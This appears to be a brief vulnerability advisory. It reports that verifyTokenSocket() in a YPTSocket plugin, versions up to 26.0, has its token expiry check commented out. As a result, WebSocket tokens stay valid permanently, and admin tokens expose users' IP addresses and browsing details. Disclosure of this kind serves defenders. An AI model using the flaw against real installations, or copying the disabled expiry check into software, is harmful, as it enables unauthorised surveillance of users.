In versions up to and including 26.0, the `verifyTokenSocket()` function in `plugin/YPTSocket/functions.php` has its token timeout validation commented out, causing WebSocket tokens to never expire despite being generated with a 12-hour timeout. This allows captured or legitimately obtained tokens to provide permanent WebSocket access, even after user accounts are deleted, banned, or demoted from admin. Admin tokens grant access to real-time connection data for all online users including IP addresses, browser info, and page locations.
